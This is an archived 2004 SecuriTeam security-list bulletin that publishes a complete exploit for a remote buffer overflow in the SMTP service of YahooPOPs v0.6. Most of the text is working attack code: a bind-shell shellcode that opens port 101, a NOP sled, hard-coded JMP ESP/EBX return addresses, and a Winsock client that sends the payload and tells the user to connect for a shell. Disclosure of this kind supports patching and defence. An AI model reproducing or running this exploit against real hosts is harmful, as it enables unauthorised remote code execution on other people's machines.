

Securiteam: [EXPL] Remote Buffer overflow Vulnerability in YPOPs (Windows exploit)

[EXPL] Remote Buffer overflow Vulnerability in YPOPs (Windows exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-10/0065.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 10/18/04

To: list@securiteam.com

Date: 18 Oct 2004 14:05:58 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Remote Buffer overflow Vulnerability in YPOPs (Windows exploit)

SUMMARY

Presented below is an exploit code for the vulnerability found in YahooPOPs. For more details see:

<<http://www.securiteam.com/windowsntfocus/5GP0M2KE0S.html>> emoteBuffer overflow Vulnerability in YPOPs

DETAILS

Exploit Code:

/*

YahooPOPs v0.6 and prior SMTP port buffer overflow exploit v0.1

Exploit code by class101 [at] DFind.kd-team.com

Bind a shellcode to the port 101.

Thanx to Behrang Fouladi(behrang@hat-squad.com) for the bug discovery

Thanx to HDMoore and Metasploit.com for their kickass ASM work

Instead of to move like you Behrang EBX to ESP after overwriting EIP,

I found out that only jumping to EBX is needed because our crafted payload

Securiteam: [EXPL] Remote Buffer overflow Vulnerability in YPOPs (Windows exploit)

starts at EBX.

The exploit is tested working on Win2K SP4 and WinXP SP1, and it should work also on NT4 and 2003 as the shellcode is designed for.

The jmp esp is from libcurl.dll which come with yahoopops, just to notice there is no need of an offset update, this is already "universal".

This exploit can't overflow the port 110 (POP3), not enough space in the buffer to add a bind/reverse shell maybe enough to spawn only one as we well know KaHT. If you want to try on POP3, you should request more than 180 bytes to overwrite EAX and ECX. Maybe in a v0.2, I will add it, anyway check <http://DFind.kd-team.com> regularly.

*/

```
#include "winsock2.h"
#include "fstream.h"
```

```
#pragma comment(lib, "ws2_32")
```

```
char scode[] = //BIND shellcode port 101, thanx HDMoore.
```

```
"\xEB"
"\x0F\x58\x80\x30\x88\x40\x81\x38\x68\x61\x63\x6B\x75\xF4\xEB\x05\xE8\xEC\xFF\xFF"
"\xFF\x60\xDE\x88\x88\x88\xDB\xDD\xDE\xDF\x03\xE4\xAC\x90\x03\xCD\xB4\x03\xDC\x8D"
"\xF0\x89\x62\x03\xC2\x90\x03\xD2\xA8\x89\x63\x6B\xBA\xC1\x03\xBC\x03\x89\x66\xB9"
"\x77\x74\xB9\x48\x24\xB0\x68\xFC\x8F\x49\x47\x85\x89\x4F\x63\x7A\xB3\xF4\xAC\x9C"
"\xFD\x69\x03\xD2\xAC\x89\x63\xEE\x03\x84\xC3\x03\xD2\x94\x89\x63\x03\x8C\x03\x89"
"\x60\x63\x8A\xB9\x48\xD7\xD6\xD5\xD3\x4A\x80\x88\xD6\xE2\xB8\xD1\xEC\x03\x91\x03"
"\xD3\x84\x03\xD3\x94\x03\x93\x03\xD3\x80\xDB\xE0\x06\xC6\x86\x64\x77\x5E\x01\x4F"
"\x09\x64\x88\x89\x88\x88\xDF\xDE\xDB\x01\x6D\x60\xAF\x88\x88\x88\x18\x89\x88\x88"
"\x3E\x91\x90\x6F\x2C\x91\xF8\x61\x6D\xC1\x0E\xC1\x2C\x92\xF8\x4F\x2C\x25\xA6\x61"
"\x51\x81\x7D\x25\x43\x65\x74\xB3\xDF\xDB\xBA\xD7\xBB\xBA\x88\xD3\x05\xC3\xA8\xD9"
"\x77\x5F\x01\x57\x01\x4B\x05\xFD\x9C\xE2\x8F\xD1\xD9\xDB\x77\xBC\x07\x77\xDD\x8C"
"\xD1\x01\x8C\x06\x6A\x7A\xA3\xAF\xDC\x77\xBF\x77\xDD\xB8\xB9\x48\xD8\xD8\xD8\xD8"
"\xC8\xD8\xC8\xD8\x77\xDD\xA4\x01\x4F\xB9\x53\xDB\xDB\xE0\x8A\x88\x88\xED\x01\x68"
"\xE2\x98\xD8\xDF\x77\xDD\xAC\xDB\xDF\x77\xDD\xA0\xDB\xDC\xDF\x77\xDD\xA8\x01\x4F"
"\xE0\xCB\xC5\xCC\x88\x01\x6B\x0F\x72\xB9\x48\x05\xF4\xAC\x24\xE2\x9D\xD1\x7B\x23"
"\x0F\x72\x09\x64\xDC\x88\x88\x88\x4E\xCC\xAC\x98\xCC\xEE\x4F\xCC\xAC\xB4\x89\x89"
"\x01\xF4\xAC\xC0\x01\xF4\xAC\xC4\x01\xF4\xAC\xD8\x05\xCC\xAC\x98\xDC\xD8\xD9\xD9"
"\xD9\xC9\xD9\xC1\xD9\xD9\xDB\xD9\x77\xFD\x88\xE0\xFA\x76\x3B\x9E\x77\xDD\x8C\x77"
"\x58\x01\x6E\x77\xFD\x88\xE0\x25\x51\x8D\x46\x77\xDD\x8C\x01\x4B\xE0\x77\x77\x77"
"\x77\x77\xBE\x77\x5B\x77\xFD\x88\xE0\xF6\x50\x6A\xFB\x77\xDD\x8C\xB9\x53\xDB\x77"
"\x58\x68\x61\x63\x6B\x90";
```

```
static char payload[1024];
```

Securiteam: [EXPL] Remote Buffer overflow Vulnerability in YPOPs (Windows exploit)

```
char jmp[]="\x23\x9b\x02\x10"; //JMP ESP
char jmpebx[]="\xff\xe3"; //JMP EBX

void usage(char* us);
WSADATA wsadata;
void ver();

int main(int argc,char *argv[])
{
    ver();
    if ((argc<2)||((argc>3))){usage(argv[0]);return -1;}
    if (WSAStartup(MAKEWORD(2,0),&wsadata)!=0){cout<<"[+] wsastartup error:
"<<WSAGetLastError()<<endl;return -1;}
    char recvbuf[100];
    int ip=htonl(inet_addr(argv[1])), port, size, x;
    if (argc==3){port=atoi(argv[2]);}
    else port=25;
    SOCKET s;
    struct fd_set mask;
    struct timeval timeout;
    struct sockaddr_in server;
    s=socket(AF_INET,SOCK_STREAM,0);
    if (s==INVALID_SOCKET){ cout<<"[+] socket() error:
"<<WSAGetLastError()<<endl;WSACleanup();return -1;}
    server.sin_family=AF_INET;
    server.sin_addr.s_addr=htonl(ip);
    server.sin_port=htons(port);
    WSAConnect(s,(struct sockaddr
    *)&server,sizeof(server),NULL,NULL,NULL,NULL);
    timeout.tv_sec=3;timeout.tv_usec=0;FD_ZERO(&mask);FD_SET(s,&mask);
    switch(select(s+1,NULL,&mask,NULL,&timeout))
    {
        case -1: {cout<<"[+] select() error:
"<<WSAGetLastError()<<endl;closesocket(s);return -1;}
        case 0: {cout<<"[+] connect() error:
"<<WSAGetLastError()<<endl;closesocket(s);return -1;}
        default:
            if(FD_ISSET(s,&mask))
            {
                cout<<"[+] connected, checking the server..."<<endl;
                Sleep(1000);recv(s,recvbuf,200,0);
                if (strstr(recvbuf,"OK POP3 YahooPOPs")){cout<<"[+] this is not the
POP3 port but the SMTP port that you should use."<<endl;return -1;}
                if (!strstr(recvbuf,"220 YahooPOPs")){cout<<"[+] this is not a
YahooPOPs server, quitting..."<<endl;return -1;}
                cout<<"[+] YahooPOPs SMTP detected, constructing the payload"<<endl;
                size=508-sizeof(scode);
                memset(payload,0,sizeof(payload));
                for (x=0;x<size;x++){strcat(payload,"\x90");}
                strcat(payload,scode);strcat(payload,jmp);strcat(payload,jmpebx);
                if (send(s,payload,strlen(payload),0)==SOCKET_ERROR) { cout<<"[+}
```

Securiteam: [EXPL] Remote Buffer overflow Vulnerability in YPOPs (Windows exploit)

```
sending error, the server prolyly rebooted."<<endl;return -1;}
    cout<<"[+] payload send, connect the port 101 to get a shell."<<endl;
    return 0;
}
}
closesocket(s);
WSACleanup();
return 0;
}

void usage(char* us)
{
    cout<<"USAGE: 101_ypops.exe ip port\n"<<endl;
    cout<<"NOTE: The port should be the SMTP, not POP3!"<<endl;
    cout<<" The port 25 is default if no port specified."<<endl;
    cout<<" The exploit bind a shellcode to the port 101."<<endl;
    return;
}

void ver()
{
    cout<<endl;
    cout<<"
<<endl;
    cout<<"
=====v0.1]===="<<endl;
    cout<<" ===YahooPOPs <= v0.6, SMTP Remote Buffer Overflow
Exploit===="<<endl;
    cout<<" =====coded by class101===== [DFind.kd-team.com
2004]===="<<endl;
    cout<<"
===== "<<endl;
    cout<<"
<<endl;
}
}
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:class101@gmail.com> Jack Bower.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

Securiteam: [EXPL] Remote Buffer overflow Vulnerability in YPOPs (Windows exploit)

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.